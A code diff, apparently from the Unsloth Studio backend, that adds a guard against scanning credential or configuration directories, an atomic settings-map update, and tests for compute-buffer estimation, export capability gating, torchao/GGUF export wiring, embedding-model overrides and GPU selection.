@ -61,6 +69,14 @@ def _denied_path_prefixes() -> list[str]:
return []
def _contains_sensitive_path_component(path: str) -> bool:
return _shared_contains_sensitive_path_component(path)
def contains_sensitive_path_component(path: str) -> bool:
return _contains_sensitive_path_component(path)
_schema_lock = threading.Lock()
_schema_ready = False
_SQLITE_IN_CHUNK_SIZE = 900
@ -896,6 +912,8 @@ def add_scan_folder(path: str) -> dict:
raise ValueError("Path must be a directory, not a file")
if not os.access(normalized, os.R_OK | os.X_OK):
raise ValueError("Path is not readable")
if _contains_sensitive_path_component(normalized):
raise ValueError("Credential or configuration directories are not allowed")
# Windows: normcase for the denylist check but store original casing
# so consumers see the native drive-letter casing (e.g. C:\Models).
@ -903,6 +921,8 @@ def add_scan_folder(path: str) -> dict:
check = os.path.normcase(normalized) if is_win else normalized
for prefix in _denied_path_prefixes():
if check == prefix or check.startswith(prefix + os.sep):
if prefix == "/run" and is_linux_run_media_path(check):
continue
raise ValueError(f"Path under {prefix} is not allowed")
conn = get_connection()
@ -1689,6 +1709,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]:
conn.close()
def upsert_app_setting_map_entry(
key: str, entry_key: str, entry_value: dict[str, Any] | None
) -> dict[str, Any]:
"""Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued
app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other
sub-entries cannot drop each other's updates."""
conn = get_connection()
try:
conn.execute("BEGIN IMMEDIATE")
row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone()
current = _json_loads(row["value_json"], {}) if row else {}
if not isinstance(current, dict):
current = {}
if entry_value:
current[entry_key] = entry_value
else:
current.pop(entry_key, None)
now = datetime.now(timezone.utc).isoformat()
conn.execute(
"""
INSERT INTO app_settings (key, value_json, updated_at)
VALUES (?, ?, ?)
ON CONFLICT(key) DO UPDATE SET
value_json = excluded.value_json,
updated_at = excluded.updated_at
""",
(key, json.dumps(current), now),
)
conn.commit()
return current
except Exception:
conn.rollback()
raise
finally:
conn.close()
def list_chat_settings() -> dict[str, Any]:
conn = get_connection()
try:

8
studio/backend/tests/test_anthropic_messages.py
View file

@ -128,13 +128,7 @@ class TestToolActionNudge:
assert "call render_html once" in nudge
def test_balanced_nudge_empty_without_known_tool_categories(self):
assert (
_build_tool_action_nudge(
tools = [],
model_name = "Llama-3.1-8B-Instruct",
)
== ""
)
assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == ""
# =====================================================================

142
studio/backend/tests/test_compute_buffer.py
View file

@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend
MIB = 1024 * 1024
def _backend(vocab = 248320, embd = 5120):
def _backend(
vocab = 248320,
embd = 5120,
mla = None,
):
"""Backend with just the dims the compute-buffer estimate reads."""
b = LlamaCppBackend.__new__(LlamaCppBackend)
b._vocab_size = vocab
b._embedding_length = embd
b._key_length_mla = mla # non-None -> MLA (compressed attention)
return b
@ -150,3 +155,138 @@ class TestParallel1Default:
def test_default_n_parallel(self):
est = _backend()._estimate_compute_buffer_bytes() / MIB
assert est < 128
class TestContextLinearBuffer:
"""``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch
grow ~linearly with context; the flat estimate above only covers ctx -> 0.
Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the
worst-case upper bound the term must hold to."""
# (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512)
_MEASURED = [
("Qwen3.5-2B", 2048, 262144, 796),
("Qwen3.5-4B", 2560, 262144, 1330), # worst slope, 2.02 x n_embd
("Qwen3.5-9B", 4096, 262144, 1336),
("Qwen3.6-27B", 5120, 262144, 1360),
("Gemma-4-31B", 5376, 262144, 2392),
]
def test_zero_by_default(self):
# Omitted/zero ctx -> no term (keeps the flat callers unchanged).
assert _backend()._compute_buffer_ctx_bytes(0) == 0
def test_zero_when_embd_missing(self):
assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0
def test_grows_linearly_with_context(self):
b = _backend(embd = 4096)
a = b._compute_buffer_ctx_bytes(65536)
d = b._compute_buffer_ctx_bytes(131072)
assert d == pytest.approx(2 * a, rel = 1e-6)
def test_scales_with_embd(self):
# The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not.
small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
assert big > small
def test_scales_with_ubatch(self):
b = _backend(embd = 4096)
lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256)
hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024)
assert hi > lo
@pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED)
def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured):
# flat term + context-linear term must cover the real (q8_0) buffer at full ctx.
b = _backend(embd = embd)
flat = b._estimate_compute_buffer_bytes(n_parallel = 1)
total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB
assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}"
def test_worst_case_rate_covers_two_x_embd(self):
# >= 2 x n_embd bytes per context token at the default micro-batch (the worst
# measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer.
embd = 4096
b = _backend(embd = embd)
per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000
assert per_tok >= 2 * embd
class TestContextBufferKVQuant:
"""The context-linear rate depends on the KV cache type: a quantized cache adds a
context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light).
Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16)."""
def test_quantized_heavier_than_f16(self):
b = _backend(embd = 4096)
q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
assert q > f
def test_none_cache_type_is_f16(self):
# None -> f16 (llama.cpp's default); the env-quantized case is covered by the
# KV budget's f16 over-reservation, so we take the lighter mask-only rate.
b = _backend(embd = 4096)
assert b._compute_buffer_ctx_bytes(
131072, cache_type_kv = None
) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
@pytest.mark.parametrize("ct", ["f16", "bf16", "f32"])
def test_unquantized_uses_mask_only_rate(self, ct):
# f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd.
b_small = _backend(embd = 2048)
b_big = _backend(embd = 8192)
per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
assert per_small == per_big # no n_embd scaling on the f16 path
expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY # ubatch 512
assert per_small == pytest.approx(expected, rel = 1e-6)
@pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"])
def test_quantized_types_use_heavy_rate(self, ct):
embd = 4096
b = _backend(embd = embd)
per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
assert per_tok == pytest.approx(
LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6
)
def test_f16_covers_measured_mask(self):
# f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the
# measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k).
b = _backend(embd = 2560) # Qwen3.5-4B
est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB
assert est >= 320 # measured 0.31 GiB growth
class TestContextBufferMLA:
"""MLA (compressed attention) needs a smaller quantized dequant scratch than
regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to
2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight
multi-GPU MLA pin (per-device scaling multiplies the error)."""
def test_mla_lighter_than_regular(self):
reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
assert mla < reg
@pytest.mark.parametrize(
"name,embd,ctx,measured",
[
("GLM-5.2", 6144, 754688, 4141), # per-device compute MiB at q8_0
("Kimi-K2.7", 7168, 262144, 1690),
],
)
def test_mla_rate_covers_measured(self, name, embd, ctx, measured):
b = _backend(embd = embd, mla = 256)
est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB
assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}"
def test_mla_not_wildly_over(self):
# 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like
# the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context.
b = _backend(embd = 6144, mla = 256)
est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
assert est <= 4141 * 1.7

55
studio/backend/tests/test_embedding_model_settings.py Normal file
View file

@ -0,0 +1,55 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Test for the customizable RAG embedding model: a saved override becomes the
effective model and derives its GGUF companion for the llama-server backend."""
from pathlib import Path
import sys
import types as _types
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
_loggers_stub = _types.ModuleType("loggers")
_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
sys.modules.setdefault("loggers", _loggers_stub)
import pytest
import utils.embedding_model_settings as ems
from core.rag import config as rag_config
@pytest.fixture
def settings_store(monkeypatch):
"""In-memory app_settings store patched under the module's lazy imports."""
import storage.studio_db as studio_db
store: dict = {}
monkeypatch.setattr(
studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback)
)
monkeypatch.setattr(
studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store
)
ems._invalidate_cache()
yield store
ems._invalidate_cache()
def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch):
"""The core contract: with nothing stored the default is in effect; a saved
custom model becomes the effective embedding model and derives its -GGUF
companion (what the llama-server backend loads); reset clears the override."""
monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL
assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO
assert ems.set_rag_embedding_model(" org/my-embedder ") == "org/my-embedder"
assert rag_config.effective_embedding_model() == "org/my-embedder"
assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF"
assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL
assert ems.get_stored_embedding_model() is None

156
studio/backend/tests/test_export_capability.py Normal file
View file

@ -0,0 +1,156 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tests for export capability gating.
Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise
(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without
PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU.
"""
import ast
import builtins
from pathlib import Path
import pytest
import utils.hardware.hardware as hw
_BACKEND = Path(__file__).resolve().parent.parent
def _src(rel):
return (_BACKEND / rel).read_text(encoding = "utf-8")
def _func_src(rel, name):
src = _src(rel)
node = next(
n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
)
return ast.get_source_segment(src, node)
# -- capability matrix --------------------------------------------------------------------------
def _patch(monkeypatch, *, torch: bool, device, apple: bool):
monkeypatch.setattr(hw, "_has_torch", lambda: torch)
monkeypatch.setattr(hw, "get_device", lambda: device)
monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple)
def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch):
# PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing".
_patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False)
cap = hw.export_capability()
assert cap["export_supported"] is False
assert cap["export_unsupported_reason"] == "no_accelerator"
assert "accelerator" in cap["export_unsupported_message"].lower()
# Must NOT tell a user with PyTorch installed to install PyTorch.
assert "PyTorch is not installed" not in cap["export_unsupported_message"]
def test_cuda_with_torch_supports_export(monkeypatch):
_patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False)
cap = hw.export_capability()
assert cap["export_supported"] is True
assert cap["export_unsupported_reason"] is None
assert cap["export_unsupported_message"] is None
def test_xpu_with_torch_supports_export(monkeypatch):
_patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False)
assert hw.export_capability()["export_supported"] is True
def test_mlx_without_torch_supports_export(monkeypatch):
# Apple Silicon MLX exports without PyTorch.
_patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True)
assert hw.export_capability()["export_supported"] is True
def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch):
_patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False)
cap = hw.export_capability()
assert cap["export_supported"] is False
assert cap["export_unsupported_reason"] == "pytorch_not_installed"
assert "PyTorch is not installed" in cap["export_unsupported_message"]
def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch):
# Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch.
for has_torch in (False, True):
_patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True)
cap = hw.export_capability()
assert cap["export_supported"] is False
assert cap["export_unsupported_reason"] == "mlx_unavailable"
assert "MLX" in cap["export_unsupported_message"]
# -- import safety without PyTorch --------------------------------------------------------------
def test_export_backend_imports_without_torch(monkeypatch):
"""core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a
clean 'PyTorch is not installed' message from an export attempt, not crash at import."""
import importlib
import sys
real_import = builtins.__import__
def blocking_import(name, *args, **kwargs):
top = name.split(".")[0]
if top in {"torch", "unsloth"}:
raise ImportError(f"simulated: {top} not installed")
return real_import(name, *args, **kwargs)
# Drop any preloaded copies so the guarded import paths re-run under the block.
for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]:
monkeypatch.delitem(sys.modules, m, raising = False)
monkeypatch.delitem(sys.modules, "core.export.export", raising = False)
monkeypatch.setattr(builtins, "__import__", blocking_import)
mod = importlib.import_module("core.export.export")
assert mod._IS_MLX is False
assert mod.torch is None
assert mod._export_runtime_available() is False
be = mod.ExportBackend.__new__(mod.ExportBackend)
be.current_model = None
be.current_tokenizer = None
be.is_peft = False
be._audio_type = None
ok, message, out = be.export_merged_model("/tmp/does-not-matter")
assert ok is False
assert "PyTorch is not installed" in message
# -- endpoint / backend wiring (ast) ------------------------------------------------------------
def test_main_endpoints_expose_export_capability():
m = _src("main.py")
# Both system endpoints spread export_capability() into their response.
assert m.count("**export_capability()") >= 2
assert '"/api/system/hardware"' in m and '"/api/system"' in m
def test_routes_guard_mutating_endpoints():
r = _src("routes/export.py")
assert "def _ensure_export_supported()" in r
# load + all four export endpoints call the guard.
assert r.count("_ensure_export_supported()") >= 6
def test_export_methods_check_runtime():
e = _src("core/export/export.py")
assert "def _export_runtime_available()" in e
# Each export method returns the clear message when the runtime is missing.
assert e.count("_export_runtime_available()") >= 5
assert "_PYTORCH_MISSING_MESSAGE" in e
def test_export_capability_reads_no_torch_helper():
cap = _func_src("utils/hardware/hardware.py", "export_capability")
assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap

140
studio/backend/tests/test_export_imatrix_compressed.py
View file

@ -54,8 +54,7 @@ def test_merged_request_rejects_unknown_format():
def test_export_gguf_threads_imatrix_to_save_and_push():
# imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the
# conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword.
# imatrix_file must reach both save paths, but only via the conditional **imatrix_kw.
g = _func_src("core/export/export.py", "export_gguf")
assert g.count("**imatrix_kw") >= 2
assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g
@ -109,8 +108,139 @@ def test_export_merged_maps_compressed_to_save_method():
def test_compressed_hub_push_uploads_local_dir_without_recompressing():
# A compressed Hub push must upload the already-built output_path, not re-run compression
# via push_to_hub_merged (which would compress a second time).
# A compressed / torchao Hub push must upload the built output_path, not re-quantize.
m = _func_src("core/export/export.py", "export_merged_model")
assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m
assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m
assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m
# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) ---------------------------------
def test_merged_request_accepts_torchao_aliases():
# Portable torchao aliases pass through compressed_method (validated in the backend registry).
for alias in ("torchao_fp8", "torchao_int8"):
r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
assert r.compressed_method == alias
def test_export_merged_routes_torchao_and_skips_nvidia_guard():
m = _func_src("core/export/export.py", "export_merged_model")
# torchao is classified separately and its suffix comes from the torchao normalizer.
assert "_normalize_torchao_method(compressed_alias)" in m
assert "is_torchao = torchao_info is not None" in m
assert "is_compressed = compressed_alias is not None and not is_torchao" in m
# The NVIDIA guard applies to compressed-tensors only, not torchao.
assert "_has_nvidia_gpu()" in m
# torchao routes through save_method just like compressed.
assert "elif is_compressed or is_torchao:" in m
def test_export_merged_nvidia_guard_present():
m = _func_src("core/export/export.py", "export_merged_model")
assert "requires an NVIDIA GPU" in m
def test_has_nvidia_gpu_helper_reads_hardware_module():
h = _func_src("core/export/export.py", "_has_nvidia_gpu")
assert "DeviceType.CUDA" in h and "IS_ROCM" in h
def test_export_merged_relaxes_is_peft_guard():
# Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone.
m = _func_src("core/export/export.py", "export_merged_model")
assert "Use 'Export Base Model' instead." not in m
def test_unsloth_save_has_torchao_registry_and_path():
# Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth.
save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8")
assert "def _normalize_torchao_method" in save_py
assert "def _unsloth_save_torchao" in save_py
assert "TORCHAO_EXPORT_SCHEMES = {" in save_py
# torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path.
assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py
assert '"torchao_int8": ("int8", "torchao-int8")' in save_py
# -- GGUF multi-quant list ----------------------------------------------------------------------
def test_gguf_request_accepts_list_of_quants():
r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"])
assert r.quantization_method == ["Q4_K_M", "Q8_0"]
r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M")
assert r2.quantization_method == "Q4_K_M"
def test_export_gguf_normalizes_quant_list():
g = _func_src("core/export/export.py", "export_gguf")
assert "isinstance(quantization_method, (list, tuple))" in g
assert "quant_methods" in g
# -- GGUF LoRA adapter export -------------------------------------------------------------------
def test_lora_request_has_gguf_fields():
from models.export import ExportLoRAAdapterRequest
r = ExportLoRAAdapterRequest(save_directory = "/tmp/x")
assert r.gguf is False and r.gguf_outtype == "q8_0"
r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0")
assert r2.gguf is True and r2.gguf_outtype == "q8_0"
def test_lora_request_rejects_bad_outtype():
from models.export import ExportLoRAAdapterRequest
with pytest.raises(ValidationError):
ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k")
def test_export_lora_wires_gguf_save_method():
la = _func_src("core/export/export.py", "export_lora_adapter")
assert 'save_method = "lora"' in la
assert "quantization_method = outtype" in la
def test_orchestrator_and_worker_pass_lora_gguf():
o = _func_src("core/export/orchestrator.py", "export_lora_adapter")
assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o
w = _src("core/export/worker.py")
assert 'gguf = cmd.get("gguf", False)' in w
assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w
def test_route_passes_lora_gguf():
r = _src("routes/export.py")
assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r
# -- compressed_method ("all formats" dropdown) -------------------------------------------------
def test_merged_request_accepts_compressed_method():
# Defaults to None; any scheme alias is accepted (validation happens in the backend registry).
assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None
for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"):
r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
assert r.compressed_method == alias
def test_export_merged_resolves_alias_via_registry():
# The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict.
m = _func_src("core/export/export.py", "export_merged_model")
assert "compressed_method" in m
assert "_normalize_compressed_method(compressed_alias)" in m
assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m
assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m
def test_orchestrator_and_worker_pass_compressed_method():
o = _func_src("core/export/orchestrator.py", "export_merged_model")
assert "compressed_method" in o and '"compressed_method": compressed_method' in o
assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py")
def test_route_passes_compressed_method():
assert "compressed_method = request.compressed_method" in _src("routes/export.py")

231
studio/backend/tests/test_gpu_selection.py
View file

@ -5,9 +5,11 @@ import asyncio
import importlib.util
import os
import re
import sys
import unittest
from contextlib import nullcontext
from pathlib import Path
from types import SimpleNamespace
from types import ModuleType, SimpleNamespace
from unittest.mock import patch
from fastapi import HTTPException
@ -22,6 +24,7 @@ from utils.hardware import (
estimate_required_model_memory_gb,
get_backend_visible_gpu_info,
get_device_map,
get_gpu_utilization,
get_offloaded_device_map_entries,
get_parent_visible_gpu_ids,
get_visible_gpu_utilization,
@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module
_BACKEND_ROOT = Path(__file__).resolve().parent.parent
async def _inline_to_thread(func, /, *args, **kwargs):
return func(*args, **kwargs)
def _fake_unsloth_attention_modules(resolver):
unsloth_module = ModuleType("unsloth")
models_module = ModuleType("unsloth.models")
utils_module = ModuleType("unsloth.models._utils")
utils_module.resolve_attention_implementation = resolver
models_module._utils = utils_module
unsloth_module.models = models_module
return {
"unsloth": unsloth_module,
"unsloth.models": models_module,
"unsloth.models._utils": utils_module,
}
def _load_route_module(name: str, relative_path: str):
spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
module = importlib.util.module_from_spec(spec)
@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase):
class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase):
def test_gpu_utilization_preserves_primary_shape_with_devices(self):
devices = [
{
"index": 5,
"visible_ordinal": 0,
"gpu_utilization_pct": 11.0,
"temperature_c": 40.0,
"vram_used_gb": 4.0,
"vram_total_gb": 24.0,
"vram_utilization_pct": 16.7,
"power_draw_w": 80.0,
"power_limit_w": 300.0,
"power_utilization_pct": 26.7,
},
{
"index": 3,
"visible_ordinal": 1,
"gpu_utilization_pct": 22.0,
"temperature_c": 50.0,
"vram_used_gb": 8.0,
"vram_total_gb": 24.0,
"vram_utilization_pct": 33.3,
"power_draw_w": 120.0,
"power_limit_w": 300.0,
"power_utilization_pct": 40.0,
},
]
with (
patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
patch.object(_hw_module, "IS_ROCM", False),
patch(
"utils.hardware.hardware._get_parent_visible_gpu_spec",
return_value = {"raw": "5,3", "numeric_ids": [5, 3]},
),
patch(
"utils.hardware.hardware._smi_query",
return_value = {
"available": True,
"devices": devices,
"backend_cuda_visible_devices": "5,3",
"parent_visible_gpu_ids": [5, 3],
"index_kind": "physical",
},
),
):
result = get_gpu_utilization()
self.assertIsInstance(result, dict)
self.assertTrue(result["available"])
self.assertEqual(result["backend"], "cuda")
self.assertEqual(result["index"], 5)
self.assertEqual(result["visible_ordinal"], 0)
self.assertEqual(result["vram_total_gb"], 24.0)
self.assertEqual(result["parent_visible_gpu_ids"], [5, 3])
self.assertEqual([device["index"] for device in result["devices"]], [5, 3])
def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self):
with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU):
result = get_gpu_utilization()
self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []})
def test_gpu_utilization_mlx_stays_available_without_agx_stats(self):
fake_psutil = ModuleType("psutil")
fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3)
with (
patch.dict(sys.modules, {"psutil": fake_psutil}),
patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX),
patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}),
patch(
"core.training.get_training_backend",
return_value = SimpleNamespace(_progress = None),
),
patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None),
patch("utils.hardware.apple.read_gpu_power_w", return_value = None),
):
result = get_gpu_utilization()
self.assertTrue(result["available"])
self.assertEqual(result["backend"], "mlx")
self.assertIsNone(result["gpu_utilization_pct"])
self.assertEqual(result["vram_used_gb"], 0)
self.assertEqual(result["vram_total_gb"], 64.0)
self.assertEqual(len(result["devices"]), 1)
def test_gpu_utilization_xpu_uses_visible_devices(self):
with (
patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU),
patch(
"utils.hardware.hardware.get_visible_gpu_utilization",
return_value = {
"available": True,
"backend": "xpu",
"parent_visible_gpu_ids": [2, 0],
"index_kind": "physical",
"devices": [
{
"index": 2,
"visible_ordinal": 1,
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": 3.0,
"vram_total_gb": 16.0,
"vram_utilization_pct": 18.8,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
},
{
"index": 0,
"visible_ordinal": 0,
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": 1.0,
"vram_total_gb": 16.0,
"vram_utilization_pct": 6.3,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
},
],
},
),
):
result = get_gpu_utilization()
self.assertEqual(result["backend"], "xpu")
self.assertEqual(result["index"], 0)
self.assertEqual(result["visible_ordinal"], 0)
self.assertEqual([device["index"] for device in result["devices"]], [0, 2])
def test_visible_gpu_utilization_filters_to_parent_visible_ids(self):
smi_output = "\n".join(
[
@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
def test_get_offloaded_device_map_entries_handles_models_without_device_map(self):
self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {})
@patch(
"utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
new = lambda model_name, **_: model_name,
)
@patch(
"utils.hardware.hardware._load_config_for_gpu_estimate",
new = lambda *_args, **_kwargs: None,
)
def test_estimate_required_memory_formulas(self):
eight_gb = 8 * (1024**3)
@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self):
with (
patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
patch(
"utils.hardware.hardware.resolve_requested_gpu_ids",
return_value = [2, 3],
@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self):
with (
patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
patch(
"utils.hardware.hardware.estimate_required_model_memory_gb",
return_value = (
@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase):
with (
patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
patch(
"core.training.training._CTX.Queue",
side_effect = [dummy_queue, dummy_queue],
@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase):
has_audio_input = False,
)
with patch.object(
inference_route.ModelConfig,
"from_identifier",
return_value = model_config,
with (
patch.object(
inference_route,
"ModelConfig",
SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
),
patch.object(
inference_route,
"_guard_chat_load_against_training",
return_value = None,
),
patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
):
with self.assertRaises(HTTPException) as exc_info:
asyncio.run(
inference_route.load_model(
inference_route._load_model_impl(
request,
SimpleNamespace(
app = SimpleNamespace(
@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase):
with (
patch.object(
inference_route.ModelConfig,
"from_identifier",
return_value = model_config,
inference_route,
"ModelConfig",
SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
),
patch.object(
inference_route,
@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase):
"get_llama_cpp_backend",
return_value = SimpleNamespace(is_loaded = False),
),
patch.object(
inference_route,
"_guard_chat_load_against_training",
return_value = None,
),
patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
patch(
"core.export.get_export_backend",
return_value = SimpleNamespace(current_checkpoint = None),
@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase):
):
with self.assertRaises(HTTPException) as exc_info:
